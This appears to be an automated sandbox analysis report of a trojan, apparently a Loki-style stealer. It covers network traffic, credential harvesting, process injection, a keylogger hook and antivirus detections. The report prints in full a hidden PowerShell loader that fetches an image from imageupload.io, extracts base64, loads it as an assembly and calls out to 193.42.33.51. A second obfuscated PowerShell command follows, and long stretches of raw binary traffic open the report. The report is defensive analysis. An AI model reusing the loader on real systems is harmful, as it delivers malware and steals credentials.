=2¯©k1Ú¥$bà^í#Âôs\|nÔ«Sà_¹&½ð#Õ§Ês!ø/Q¶ ²Uzk"fjHpJÌ¢V_u'mÏ®Ô=@·3!t¢¢l :iDÝ®àÏ'¨ka¶ùgÚiÖmS;zL]ù1=Á®ç.Ü²@Áªä¡ gstá/¸Û$ÙßÁ åLÓ!ñ¨TÉk§P ¬}ÒÖ?à´ûóÉ¹_<rswlßýë3ßhÏEÎÖ>¯-ñ/´³Åv áF¦)
Data received	ÿ'7n2¤BããÄæÉìHâÊÃG(RP\|7U UtS-þÔçÒtY¹5ªxá/^y»%aq_®7¶ËÓ» ÏiB9 òÖxCmnÌïÃjëCè &]ÅäZÄr3r[´Q{Èg03fÿ¯¶üê¤oO®FÎ¼8kX= vHºÄzid@ìÞÊà\|Ü`i:²ý` è3¬ ¸ 5¬¢'×õ3Þ´nÙ¥ôº&Ó~2¬Iñ`.}¥Ïí îö]\|zØÎ¬EÈj^½õÉ,üÍ¬ªDí©Ì¬TÂÕÞÂI¯O,åzO9\ÞSàîæ¤ÊPí¨¿Ô¨Äòßo@ûU:ûbº)B^K éaÎ¥µ®½<Ú1K'&Doú¸pgnGØÔÎ¦zïr/&ùÔÜ:»±;úEÓ²jâ\|Ö&[MñSG}×^j$6a%ûlwå6i%ÄÝU5¨vÇëeõ4zªFeüøBiéË KB>Æd¢¾ààtQ35i¿½¨¬p ðîlüïÿk©yOëÆ0Õ7#ú³-:ôk3üÜU!m&:5M+ÿÉ÷Ge4O)Ó\|ó.}Fnü<¯ò¼]þ³\|ë±¯@{3{r©ÖÍ ¤`66ÈÞ8ÆDtÕ9ÌÎ \f¬fRÇ¢b÷´1µ@sÕDAIH%þCëòåÝ[Ï +~ê8×ß¨MõâuªT3TÏPÌZü¦Ô¹ú§«/À+î¦£X9nLõáì1â· ºû{²AÝp¯=¥xkì\|j¹?'KÃ?ï LbpçÐl þ}-{h6Q5èª´ÊñùýVCOLË¢Ð;Þh,mÎÿ£dZÝÁ %7NxÚØ$n":×÷<z]ÞkDSE¤8ÇÉó7§%¯¿rðZsÀÂ³c{ f÷Õ _CfR{;eô©Ý;Kk²Òe\,!9LJ¾À gÈpØ2èô4'´^pt¬ðIÛ<n#î_ô®9å$æ#-Ñ+¶^@>åT£úýA«ßrE~º}8sföÉåÁf;ØÀöõjê2ø}ª`NQ>¸2yRëDg6_+L£2Fíày°Ça!^òSÉXþg$V¶ä g ¤ô\ÌEZd²ñ ßd×kÚÕUmfÄÅo7zÔ² LØ.g& Á»ø;-"3â`}ªjé8U3G!4Îäø=sñùJP¡×$V·[É'°}è.ãÇa_FY \|¼AXk<²éTV¿¶A¸G!ÀvÙá°óÏ&lãV+Ýöe×ìJÁ1F{k1{1ª×øÛ.Ýêk·bPûïM!;®`fn$ªºyí[]¨ÛôÛô02c$õÝ³ J<$ÄôeáO³ u+Ðû4X¤·Ë¥Ýê¡½ÏêmhßÍ8ëëiôÉ5é]ÔñHBs$Ï $µ{°^ èOGæÅÛw'¡ð§YMð9¼ª½½e§XÔ"ÂûHÂ7ðõ¸ÀÖ9öbÑ\ Ú~eô<[¾IzúO d³²Ig¯siyKðÊHÒzÏ%ªÑÕ¸K±{ÏhUÒ=ÖßêÜ3ÅbcÜ§£Ùzt=zA
Data received	(Î¨T£§ÑUMb·!ûÆM¯[ ÎÔÅ}óeö¬\|¬éUèJMJ³¼^^ na.TË³8®£êÂèA~^Ð¥ü±R#ÂZ°·Ù½ÏÏíÊ ÌD§,µÈ:aVõû+³ø;{5í¼àÓ¯ñô×>óßúq9ÛK ßÊiÉWÿ7DVë=}¡°ú#]Er.Q%ÐrÕ&ó&±ÚÎç ½ÓGÑRÔó^AfÊhKKDÎfx7lg[ÊÉPÛ]ËX5_GÏßöù>/·ùÉhj ;CÌSFr8+h8KqâÑ×qjTèþÝ{òÖytöYÄ~sÀ EÍ^WKùúÆB¬Ýyºªgý 7èý>ÁÞzûfÿÍMv¡~µ\|ÞGm¤G¸ñFÊ±. ÈïæÈG²ãF}]_ÊÝ1Ï¿åÔ%þ Ì»I=qC¨%F?Ò-{îkä.Û:P9}@~èW¤ÒÈºÅ$¸äBB!@¯Çø:øOàá &ý3{¢Z=¦ îàãÃÆVbRE~ò{P52f®Êàoðß§U¿ßÎGºWOÌü`³Oõ{ç£òsMùQôuVt¦ ïzcYXÜdÖ{ CÝ¨Qm9¨Oï`ý¼Uuù9ò..¦Wç§É;v$¦<qTµÂ_äñgqýxÜ êòV}ÑqôáHlÈQöy`¢_mN¨[ÞÝåÁ=Ëd 'fÐ?ë¤µB{`réÙë¨¼Áô\í±÷×\|©ÂjùÎè±&ìÑEigÝ]oV þrUåsåõÉ.«©¶ç1âwåìÅÏ Á#ßXlúÒ=lX°ÕÈÂ?ùøzé½«Djè"åÍTèç«Çí´û#áûÂ?ªÐäTÞÁº±¼"Ýü_:ÂåIS£bU<ô8ÿ%%q2÷aiKidê#÷¢»£:+ePðÚ;Ø³öfÅòÁÅÐ?L<HËÏA³ÔÒó$+0Ô£¨²õÁÎ5ÈDÌ ì Çç=w!íqY¾Ñ×ÆAAHÐ¸µClÈ±E$ô~?R ÏÆù8>V6K3ÜYLb[#ìCaÅnÑx;þ Ë[µ}h[UeÂYþ¸]fõò6ëüöXcå áJ¼õõAÒTº>¦o\|qÀOgwºyUÔów;î-`ñ¦3h¦´TÆÎ\| ?[7\|û}·CçÁ¢û(×ï¼¼è°ïäjpéêlT)âti\I¿C¸8jEDÂc¥'Énß³ þÿîÑ¸lÓþ#L(¬ ÀÒRÈ·ÍÅ_¦qgEkß?u5LxáG4¬408XJO»%õÎÕê}þ?atTs´W5m"C'§&ÿÿq;}m¬EõuE²/ªÀwSªÍu¨Æ9Y@Ona÷®õ©§<IÓèÃ-×ÊEq¤èIÀàS5f½¹cÖ¨WÄåXßhÌÒÃ>¤9Ù+µ¸5è~*ñä]j2@Å½ã;c7 ÍhIâ´6ö (êÆRddvËøC«Ç1²ø·Ï´Î1 âÖ= &1ÞÒ/¾f½Øø¼æ{!³B°«O^sg¹}%R8gUÈ¥,±?Õ¯
Data received	uÊÜÑÎ,n×lX&LdõhQ¹¸ºñ¤)µ,"~©1uAv;_¨¼Â¦gv³9ÿTJI@ 0\þwssùkÕÑÚ^ÂÝ¯L;HGÞãE¾g¶u ÏV¶fUæÌÿù¼ÓðÊ+røÞc¬ªt´ÕÄ¢t¤µbcK]Þ¹TùwÛ¬¹0JT^õ$>®w¼UâÍ¦ÿò2½²º7fÇ( cMÄÍ_íË1Z` øzNÊ@z¹ðÊPº "&¥¨?¤V¬þVÇÿáW =XQ!sFiic%àäAÎJ¼ÓqfÏ`·fbµ`^·D¡>×ox7±Srø6²7ûsÁm4³¶¶V>Dt´åM®;Ø·ÇÇíÂ£á3²Xz^«0¦h50Ê5,/è\|òâSÚóSðªÅ÷<¿ôÒ+Å`¨ÓGÛ¡&Pq· vAÞË²W^1ÀIÊ/s,ÏÃH&Ë;ñwK¥\|ü·p¹ TY{jÏ',û´ó$ýe,ÊÉ3ø±Ü05U¯;LGEGoV¬T\ "¶ÎèiÃ[Î "óòZ¾-ó¿{X{ elLÿo;ýôqãB'7(¤§kÿáÂh.A¤Ä-ãµÂxºh`f6Ë87XæBbjÔ¢c¦¡\|JOæÈ£6Ö#ÉªnÑÕÒ8gÔ.£÷ÊqLÔÚÑW¶0G5¡XÒwW¨õu«Bý3ùA·MQXvµêÛ6¹÷7Ùpåû:´9[ÞI^~vá8jÒ,#TäOnõ)ô6Döj.«u¾>`%ÔÚ DÒ/µÏ5é8Mÿ«:þã´¸br7¬8§îGzÃ°jOÑÛ'¦ û tX¼Øê/Ýf$`²Oi;_ÓuÎþÂ´4<Wg¥5³Û>«ò¾ ÷äÏ¤z39¥G¨÷z½½õ«x¼â¥!tîéb±S±8yößfçÄSý¨§_k}a×ú y#¾dRv§ÞýR©¼+¶0`[M!Ta<]u¤/S<³!BÑÊº">r;'ã iÙwíªM¬^´Ôdùh´zÄÈóöíLÿ<gGþMÚõ'rS°¦Ýß®eôVJÛÿÃ!;ÌMñHD½F£¾o/BlXÕÞ}±në[â`Û7óTÎn~^º@bmªÒÎ\|èÚU9Vï§¨®ªÝjê·9_hcê>RZ gºù¹(ÅíÚG%²á-sX$P'Àègï¬ÃÓj+ÎÊ3=ÐùE¾@,`ÃWÒVS¿ÑðÏTzQÊ?¶]:Ê/MÒýy]& pkÿ6§ÿ0kÐaÍS$ð]\Çæ+àü lôÏÀºiÄ/P6Ô¿c!ÊIR6çÁVE´<(á~ä!qæÇ<s¼=ÓäÁÁ1sHCæVg"FI£ïZõøàÝà(qòaoÑà.ä-43(îü{PrV@ý,ÑÂ¯\v!}¡W>«¬ê¹¿1¼=laP9ü!Û¬ÿÌ¸4ÜÄ¤Sü0ÄCw¸æP&¸¹çdYaÀË*xxd´ç½t¸ßiX¸Ô
Data received	2â¹@¨¨JÓÁ½»vÝàg >HÜÑk5«/^p(Ò¬ =Ç÷R/VZàj^}¶qU²²ÒÇvGÎ\|ý~ß«6ËkMêM".0ÙÓÜÀGõHTó2Ü%ôë<%9ð$wõr»]Ê¯]¶ ÀõQÄóÄ³`<OÀg»Ê]·'ÒàõÀDÆ é#8Êü33pøÔTmÍôþ/ø0nGÈ»ôkÁËÇ{ow^¡©%{c1 CÀsf×5Ëô'QðÐ´Z\:dÑi~¼í.G\Ó&ÞU9«?í¥"¨A>Bñï ½ÓóÓU^Ét£VnÃÑ /¿{ê&¡q'æMç(å²^×b>Zª>!\S4C²6¨2lÎNqÔf¸pùû ³W<4tÐ²DÈ].;_þ$>9f×¥t;Þ ®!D«J´½.'-\|ÅÓ(Î(ócô&ÿxÅéæ4Ït)TZ³ÜÕÛ\|$b£H Ù<QÃ¡I#ÁÀç¿tZiõhàBMAJÃóÖIM Lxùv%ãñÄµ'Ò²ÖÌ8zwÃ÷©Q^³tÙ¹Ë"írWÓ<TX®,Öq4ß«Çéê<Øå®/"ªýê£eCL^ó¿upjº3>Tè,+"péTK pû Ä{R¤ +p{úÔ7)öØtOÜ¢fø\K¶¨£Ù£L\|6£©8Ê ,+?fÀ(¡¡KÝd}ìó}áJ'pH_ËÓ>j½'ó×rC°$4zÔ²dÁ]ØæO:öixEmöÆÆ(s LíÇì-ÙÙ¢É§,Àßïmp0Ex8©}[`cv¶ T¨Ó7uêeêì0JyUnÒÎÉÛZ\|oû(#R>cÀ¹q&Bè\|gfnæ6(pÓãÆ¢Ïôê¾Níì!³®§S±J¯òZÜGF¬Ý.æ_m°OËóube9øA¿ÑÍJ¦Pë®Ql`àÆ9¿=²suÙüRhÏB±Åré®A ;é±qÄMKÉ¤ÎÝÂLá³a·9Þ«VcU« ë#ÈúU,ßGïÎËNXªë{÷YÓîïÈP}dÉ74%¹'rÿÓýhò×Ò(¿ÓÁ&ùÐ[ìû^ôÕkerî©ÙyÄÝÏôZ/ÄyHF)È3ÀäüòéÕßbÞa÷ó£V¦ßGÌ ³6ÊUBëI[jýÿèäØ~-Ã¯cqb\£UXÓþ!Øsõ;_º¿÷Ua'sa=ÝgfÜC0®öÈv¥QkÐý{VÜÚ®fpÏßÉ½o°þXa8bÙ'NACÖ#E õøR <{£a4[dfB\ëÑB®æ².²&q~¬áÕY²d-(Ú'pñøbIýOõÿPÎN×»ÎùíoínJùÖÿ±P^DqvhÙã½Ú¶²øÕÉ>(¦P9á½·³ÕØí² Îgt ÞÄ"ÊÎÂµÈÚ$\|$¦O²~A¬¸¶c)}ã ióÙ*Ë@nLèß»÷7Æ¾Öø{+nlù8ïa¢Ñf!r²eD©.ÆéÇY´TXc§ÌåÀ¸ÄxLÈÄåý#+XÐw8¯Öz1 ¿âÜ{'WãübmÝöÔ')KâþúOV^¯
Data received	Qÿ;= ¿hSçÄ}OnÀØ¢ô§{µß÷z?®³gÿì£.TëPäÎç ×dôJ°gkÒÜËäµÎ+¨´B5ÿÍîÂy¾`ïIwÎ ¨T>ã9R<§ûHÈÅâUøRSaÛµ0¸Pîí0`×:qÑ(N³UøO[KDÎ(c>}Ý$Èwtyí.-<TgnVø:Mû Á}§±ØMÞæ1³Ptyo6Â4dt{pY4v&ú6îqå:8U@#(Î½Iç§÷>3¯p:þÛ&¶ZÓ}Í"Í££yÅÎÏu>Ç&&ÌÈ]^Á8Ám´%È¶¨¾À¤èâññvÙÝ¬fóüÔÊzLý-¨H ;ü>dÄ¼ìöÙÒ]õ±ï÷³yÂ@¶¯GVÙmMÑ.mw¨rQ0,ëm_&'v0"T8ÓýyyOÙRh @+¹¢ðRå(jIªÍÕïe@b¯¬vá¿Y¦f;KU -P@dö`ªÊá%º?Eù@Í3ª·qSû`ý3ñ Z+,¹§©5ªä~Ã'ª]´`^\| yõ2è(³^ÉØq(ôG²r£¨] VH¦¬Á_·ôEÀ¬âØ¿úã{½mÝõ Í>O]tÞ¢J¾©é°®5] s!ñ°<÷u)¸8¸ãm¤mssìvÙuÎð;azî/5Ðsë^qÍ9ñ8ÏmÞ<NsQúé& ù¥ÑÁkä:]éV»Wú.Ö ëmØEUæ1¦xTýSªw-Þ$e··4ÚúRÚïnÆ ÅnJ:ghIÆn0)º@òßÊÙ½ÛK)°x,o¬(A¨®(7ÉÂ©øiJ\<Èý[¼c»ÃzIåÆç¼DÃæ ,üÕÕ´~ó`¡®ùÝÌ8-ÌZÒÓµmMÉYTXi(j\|±òZñÕµ!0§æãÅÎF! §[¥§2/Å<æÙörÄÃ=0¤ñ_â#ÇI-2àÌþ\|Ãë ËÊ»@×ùâ¼¶O"ÿ§K4Õ'E+YÞ§´¼7h·í§¯®75ÊØr}O;n®ù\|ë¼f[Kêî6«M\|É æÂpÁûÛ,i{sÜÛ+Zñ±âEaÑ\|i\áÞÇJp½WI(CÈD1Cê½è²æ¢¨ÌVG22§9êhO}lGvntwÁµßRí_Ô}=äz¤¨ rê5¤öÂNÏÀHù¸µª}X ù¤ ý"ôL?cÞ7Ùºct+^K~¸+)£Úä{!¾]s~ÌG{ õÕÅÅ4Ú?3æ<uþ'úW~é'£¬9{F[ö<WSAH²¥Êò[©ãwÔEPð¾<µMËoæ'«ZË\|®Â·¨Å{Ê ÉÙÊvXr¶G²½oMÉô85¨B[¨:Ë¯÷eHkRL¨ÛüU >jU&*ÙºA©Q¼¬ÔCYMõFIP<éÐÉ.æ«1F»mq££E%¸èõ¢¢=t%ãît¡;¨É¬!.3çìÏL?cOK2cËy8f}×²3ÿ¡´¼kBAr0÷ AY·¦Nú2ÿ,ÄÔÚ ß °Ýð,·+Û8©ÑGbhb3u
Data received	»¶A±¬Ñå kIb®ºJiU´h×«ÛYaXE¤Íà\|íû£YvÒlOó!àå§ûócAeø/é gÓ]©PÍßDY&ñheGE´ì£@%A+ö-t Lòbë5aóõèú\wðî¯5tÉÝõ.<ÿZ^mVUµºP\|ÌAÊöüÈ©¤OBØhøH6ê×û Ë¶oÃXÔØ3`ºXÈÙ 6w7â]È6iÈBuëÂÚðîÔóìÕÕÜ»9\|TéÓo¦ãh-®ÙËfTXÏÒ?VDÖç»³ûg-FZXXSÁ¿óÒ·6Þò=ÿÇòåª]XZ3.æÒ§áÆø{lj«²Î$\_Ö"¹. AÐ(ÊÓ÷ØÅîö ]3ëº¨§Q×qç§íòhÍì}Úw£{íy´#YSÓ½\ßÓwâVÆvèÃËYÏFçàû Ð×"D3L¶Ù2°Mßá:Æ^-MÜfDí}H öd£iê4^l§t{ôØ0]øÑ:#ñÚUo Å£Î>ÚxÚÌçÛ1öÐÔ¥éß)m~1JÑ n_ok¶´÷´ÚJOo,N[§n;½èè©ýæSÕoÐJaæ\B%V4yù§Âù^/ÄªdáOJD!«æ'¨¼á.:.Ð5ïeáµÁ$IR÷fiµ2kßûç ºxÉ>q/Øo´ØùbÕvßÖ(¸så'îÓi5D¦K_>Îe®H}c¤§`%<¬<F5þ8¼<@/ ¢âÑD^Ç§Ã¼"Ô@:P¨Â¡%3~`6°\|Ä.ñ[½ö#,3\¬óGK¡jñaKYú_ZFYùb0¹õÐ£Ø¬çy÷FëËÔleåÕ¹g¶Å¸±äÓ 6LiÆJ ±h4ÃîzF#]uyÅù·l<Îp\|B¢¦É¬ö¯"M+<²N%àþaLÆ%ëÒ [©Ö;NºáÓ¸?Ö§³xª$îTæs~Ò\W¯òfÒ7àrv×ÜcoñL}µrÚæ Ä60¶.ÝGlRÃÈ mö±ö/_í:ªÚ ÿ Zx;Òsma\Aö£3@êÌ-ã3½¬q_æLôW$¤ý©·wQ_½JÖeçm¾ÖY×v¢Ìä/w`3ÂçP;p nÌÃ§§°æ.lÀ°üÒì=L«õ!PvÊÁyÿlTT"Ã«YzÂFD¾?]§[Eºû_êBñÀî9¾Us¯ö¯8ÉR ¼Ã±´@´+¿®ïw(!?Ò,pKâø}"#YDibF¡¼Ñ`È8@OÎs%µ-&bíýêe?'Ës²-p¦j°Mî^îI}1eÑÒ2r«©nmÃu°ÜÙ.è[s¢¶Ñªy·Âx¤Ù½Wj2¹SJÇÁDz7PlåagÄ)h)ª´ÅôªPz¦ ¾ VÞ}¼YÑBß]§ô4t£Ú!Ò6%Ô`eÌuýïo2ï5P~YrD ¿mÒ/6¢ï÷fÄâ8-É\FjL2ó§á#ß¨î_RX,Õw×º±µÉ

Poweshell is sending data to a remote host (4 events)

Data sent	qme5ò¯¤BæQÐÏ\|ÔfÊ:¤l÷ä¿ÛV\/5 ÀÀÀ À 28,ÿimageupload.io
Data sent	FBAZ¶bÄ~±YãUÃÐg¶I;ÃR½áA p¤){ý'} ;U[5ê¡SuÍ©ìè:@cü$0I¨È$,Fr¼®¾Î§iRûHÁ<ð%/+C*²'ÝÓ²_äMÉóÑwcÚ
Data sent	ÈêèE«æ]Êé ªb°¶^j~<1¹¬xSG1cÝ¾Ì®u¾£Ã@µÝ=I£-gâÃÏÂ§ß'Dõ¡ìÖë«@F¡ÉSá±*°Ã±Y62¾ÅåÖ¹òTwÐÚîô}n?·! H4Ì.30ÝµuÍÉ
Data sent	GET /nix.txt HTTP/1.1 Host: 193.42.33.51 Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Oct. 23, 2023, 1:12 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Oct. 23, 2023, 1:12 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Oct. 23, 2023, 1:12 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (13 events)

description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Communications smtp	rule	Network_SMTP_dotNet
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Win32 PWS Loki	rule	Win32_PWS_Loki_m_Zero
description	Run a KeyLogger	rule	KeyLogger

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_Processor

Makes SMTP requests, possibly sending spam (1 event)

receiver

[]

sender

[]

server

68.70.164.13

Communicates with host for which no DNS query was performed (1 event)

host

193.42.33.51

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1684 region_size: 270336 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000370	1	0	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation Oct. 23, 2023, 1:13 p.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

RegAsm.exe tried to sleep 5456546 seconds, actually delayed analysis time by 5456546 seconds

Harvests credentials from local FTP client softwares (5 events)

file	C:\Users\test22\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect
file	C:\Users\test22\AppData\Roaming\FTPGetter\servers.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
registry	HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
registry	HKEY_CURRENT_USER\SOFTWARE\FTPWare\COREFTP\Sites

Potential code injection by writing to the memory of another process (4 events)

Time & API	Arguments	Status	Return
WriteProcessMemory Oct. 23, 2023, 1:12 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELDO2eà¦Å à@ @<ÅOàF H.text¥ ¦ `.rsrcFà¨@@.reloc®@B base_address: 0x00400000 process_identifier: 1684 process_handle: 0x00000370	1	1
WriteProcessMemory Oct. 23, 2023, 1:12 p.m.	buffer: P8h à¼\ãê¼4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°StringFileInfoø000004b0,FileDescription 0FileVersion1.0.0.0t)InternalName98aa8859-73e7-4b0e-9b21-933e1db5e26f.exe(LegalCopyright \|)OriginalFilename98aa8859-73e7-4b0e-9b21-933e1db5e26f.exe4ProductVersion1.0.0.08Assembly Version1.0.0.0ï»¿<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x0043e000 process_identifier: 1684 process_handle: 0x00000370	1	1
WriteProcessMemory Oct. 23, 2023, 1:12 p.m.	buffer: À5 base_address: 0x00440000 process_identifier: 1684 process_handle: 0x00000370	1	1
WriteProcessMemory Oct. 23, 2023, 1:12 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 1684 process_handle: 0x00000370	1	1

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Oct. 23, 2023, 1:12 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELDO2eà¦Å à@ @<ÅOàF H.text¥ ¦ `.rsrcFà¨@@.reloc®@B base_address: 0x00400000 process_identifier: 1684 process_handle: 0x00000370	1	1	0

Creates a windows hook that monitors keyboard input (keylogger) (1 event)

Time & API	Arguments	Status	Return	Repeated
SetWindowsHookExA Oct. 23, 2023, 1:12 p.m.	thread_identifier: 0 callback_function: 0x006108a2 hook_identifier: 13 (WH_KEYBOARD_LL) module_address: 0x00400000	1	1114569	0

File has been identified by 15 AntiVirus engines on VirusTotal as malicious (15 events)

ALYac	VB:Trojan.Valyria.8581
Symantec	Scr.Malscript!gen11
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	Trojan.GenericKD.69927534
MicroWorld-eScan	Trojan.GenericKD.69927534
Emsisoft	Trojan.GenericKD.69927534 (B)
VIPRE	Trojan.GenericKD.69927534
FireEye	Trojan.GenericKD.69927534
GData	Trojan.GenericKD.69927534
Varist	VBS/Agent.BEA1!Eldorado
MAX	malware (ai score=82)
Antiy-AVL	Trojan/Script.Agent
Gridinsoft	Malware.U.ZgRAT.bot
Arcabit	Trojan.Generic.D42B026E
Google	Detected

Harvests credentials from local email clients (5 events)

file	C:\Users\test22\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect
file	C:\Users\test22\AppData\Roaming\Thunderbird\profiles.ini
registry	HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
registry	HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
registry	HKEY_CURRENT_USER\Software\RimArts\B2\Settings

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (4 events)

Time & API	Arguments	Status	Return
send Oct. 23, 2023, 1:12 p.m.	buffer: qme5ò¯¤BæQÐÏ\|ÔfÊ:¤l÷ä¿ÛV\/5 ÀÀÀ À 28,ÿimageupload.io socket: 1424 sent: 118	1	118
send Oct. 23, 2023, 1:12 p.m.	buffer: FBAZ¶bÄ~±YãUÃÐg¶I;ÃR½áA p¤){ý'} ;U[5ê¡SuÍ©ìè:@cü$0I¨È$,Fr¼®¾Î§iRûHÁ<ð%/+C*²'ÝÓ²_äMÉóÑwcÚ socket: 1424 sent: 134	1	134
send Oct. 23, 2023, 1:12 p.m.	buffer: ÈêèE«æ]Êé ªb°¶^j~<1¹¬xSG1cÝ¾Ì®u¾£Ã@µÝ=I£-gâÃÏÂ§ß'Dõ¡ìÖë«@F¡ÉSá±*°Ã±Y62¾ÅåÖ¹òTwÐÚîô}n?·! H4Ì.30ÝµuÍÉ socket: 1424 sent: 133	1	133
send Oct. 23, 2023, 1:12 p.m.	buffer: GET /nix.txt HTTP/1.1 Host: 193.42.33.51 Connection: Keep-Alive socket: 904 sent: 69	1	69

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2364 called NtSetContextThread to modify thread in remote process 1684
NtSetContextThread Oct. 23, 2023, 1:12 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4441486 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000368 process_identifier: 1684	1	0	0

One or more non-whitelisted processes were created (4 events)

parent_process	powershell.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lnhpbi8xNS4zMy4yNC4zOTEvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
parent_process	powershell.exe	martian_process	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
parent_process	wscript.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVQBymcURONçuXSGwmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwBomcURONçuXSHQmcURONçuXSdmcURONçuXSBwmcURONçuXSHMmcURONçuXSOgmcURONçuXSvmcURONçuXSC8mcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSHUmcURONçuXScmcURONçuXSBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSC4mcURONçuXSaQBvmcURONçuXSC8mcURONçuXSaQBimcURONçuXSC8mcURONçuXSdwBzmcURONçuXSDgmcURONçuXSTQBBmcURONçuXSEomcURONçuXSNgBlmcURONçuXSHmcURONçuXSmcURONçuXSdmcURONçuXSBpmcURONçuXSEwmcURONçuXSZgBHmcURONçuXSHUmcURONçuXSXwmcURONçuXSxmcURONçuXSDYmcURONçuXSOQmcURONçuXS3mcURONçuXSDcmcURONçuXSMwmcURONçuXS4mcURONçuXSDQmcURONçuXSOQmcURONçuXSymcURONçuXSC4mcURONçuXSagBwmcURONçuXSGcmcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXSdwBlmcURONçuXSGImcURONçuXSQwBsmcURONçuXSGkmcURONçuXSZQBumcURONçuXSHQmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSTgBlmcURONçuXSHcmcURONçuXSLQBPmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSTgBlmcURONçuXSHQmcURONçuXSLgBXmcURONçuXSGUmcURONçuXSYgBDmcURONçuXSGwmcURONçuXSaQBlmcURONçuXSG4mcURONçuXSdmcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSHcmcURONçuXSZQBimcURONçuXSEMmcURONçuXSbmcURONçuXSBpmcURONçuXSGUmcURONçuXSbgB0mcURONçuXSC4mcURONçuXSRmcURONçuXSBvmcURONçuXSHcmcURONçuXSbgBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSEQmcURONçuXS